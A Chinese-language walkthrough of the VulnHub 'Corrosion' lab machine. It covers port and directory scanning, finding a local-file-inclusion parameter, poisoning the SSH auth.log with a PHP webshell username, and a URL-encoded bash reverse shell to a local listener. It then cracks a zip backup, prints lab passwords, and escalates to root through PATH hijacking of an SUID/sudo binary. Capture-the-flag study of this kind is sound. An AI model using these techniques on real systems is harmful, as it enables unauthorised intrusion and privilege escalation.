vulnhub靶机-Corrosion

 1、找到靶机ip:192.168.162.131

nmap -sn 192.168.162.0/24

2、扫描靶机端口,发现开放22和80端口

┌──(root💀cracer)-[~]
└─# nmap -A -p- 192.168.162.131
Starting Nmap 7.91 ( https://nmap.org )
Nmap scan report for 192.168.162.131
Host is up (0.00067s latency).                                                                                                                                                                                      
Not shown: 65533 closed ports                                                                                                                                                                                       
PORT   STATE SERVICE VERSION                                                                                                                                                                                        
22/tcp open  ssh     OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)                                                                                                                                     
| ssh-hostkey:                                                                                                                                                                                                      
|   3072 0c:a7:1c:8b:4e:85:6b:16:8c:fd:b7:cd:5f:60:3e:a4 (RSA)                                                                                                                                                      
|   256 0f:24:f4:65:af:50:d3:d3:aa:09:33:c3:17:3d:63:c7 (ECDSA)                                                                                                                                                     
|_  256 b0:fa:cd:77:73:da:e4:7d:c8:75:a1:c5:5f:2c:21:0a (ED25519)                                                                                                                                                   
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))                                                                                                                                                                 
|_http-server-header: Apache/2.4.46 (Ubuntu)                                                                                                                                                                        
|_http-title: Apache2 Ubuntu Default Page: It works                                                                                                                                                                 
MAC Address: 00:0C:29:5A:35:C8 (VMware)                                                                                                                                                                             
Device type: general purpose                                                                                                                                                                                        
Running: Linux 4.X|5.X                                                                                                                                                                                              
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5                                                                                                                                                     
OS details: Linux 4.15 - 5.6                                                                                                                                                                                        
Network Distance: 1 hop                                                                                                                                                                                             
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                                                                             
                                                                                                                                                                                                                    
TRACEROUTE                                                                                                                                                                                                          
HOP RTT     ADDRESS                                                                                                                                                                                                 
1   0.67 ms 192.168.162.131                                                                                                                                                                                         

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.33 seconds

3、访问80端口,是一个默认的apache页面,没有什么有用信息

扫描目录,发现tasks和blog-post两个目录

gobuster dir -u http://192.168.162.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

访问 tasks目录,发现一个tasks_todo文件,点击发现三个任务,提示auth.log文件,这个文件包含ssh登录错误信息,猜测利用ssh插入恶意代码,然后使用LFI包含此文件获得shell,于是需要找到存在LFI的文件

访问blog-post目录,默认页面没有什么有用信息

扫描此目录下的目录和文件,发现archives和uploads目录

在archives目录下发现randylogs.php,uploads目录下和首页一样,没什么用,于是猜测randylogs.php就是存在LFI的文件

 文件有了,但是需要知道参数是什么,于是需要fuzz一下参数,得到参数是file

ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.162.131/blog-post/archives/randylogs.php?FUZZ=/etc/passwd -fs 0

4、故意使用错误的用户名登录ssh,包含auth.log文件发现使用的用户名

 将php一句话木马作为ssh登录的用户名,包含此文件然后执行命令反弹shell

 成功执行命令

执行bash一句话反弹shell,成功反弹shell

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.162.130%2F1234%200%3E%261%27

5、这里反弹的是一个简易的shell,跟自己使用的终端是有区别的,不能使用方向键和tab键,还有ctrl+c,这里可以选择升级到一个更智能的shell,操作方法上传到资源了,如果不想弄得话,就使用python获得tty也行

 6、查找可利用的文件,在/var/backups下发现一个user_backup.zip压缩包,解压需要密码,下载到本地

 使用john爆破压缩包密码,-w参数必须加等于号

四个文件

easysysinfo.c文件内容

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("/usr/bin/date");

  system("cat /etc/hosts");

  system("/usr/bin/uname -a");

}

my_password.txt文件内容

randylovesgoldfish1998

7、有了密码,需要有用户名,查看/etc/passwd文件,猜测是randy的密码

 使用密码成功切换到randy用户(这里也可以使用ssh登录方便后面使用vi编辑文件),获得第一个flag

使用sudo -l命令发现可以使用root身份运行/home/randy/tools/easysysinfo文件

8、该目录下有两个文件,查看easysysinfo文件发现有s权限

s权限: 设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份. 

easysysinfo.py文件内容,跟前面的easysysinfo.c内容差不多,但是前面那个文件cat使用的不是绝对路径,而这个文件是绝对路径,如果可执行文件使用的不是绝对路径,则存在漏洞可利用

#!/usr/bin/python3.9

import os

command1 = "/usr/bin/date"
command2 = "/usr/bin/cat /etc/hosts"
command3 = "/usr/bin/uname -a"


def output():
        print("Today is: ")
        os.system(command1)

        print("\n")

        print("Hosts File: ")
        os.system(command2)

        print("\n")

        print("Kernal Version: ")
        os.system(command3)

output()

使用strings easysysinfo发现使用的不是绝对路径

(1)第一种提权方法

在本地编辑cat文件,写入sh,给执行权限然后将路径写入到原有环境变量前(从前往后顺序匹配),这样使用cat命令时就会优先匹配此路径下的cat文件,由于文件有s权限,不用使用root身份运行也能获得root权限

 (2)第二种提权方法,虽然没有修改权限,但是可以使用同名文件覆盖该文件,写一个获得shell的c文件,然后编译覆盖,覆盖之后s权限也会被覆盖,所以需要使用sudo以获得root权限

9、在root目录下发现最终flag和root密码:рандиистхебест1993(俄语)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值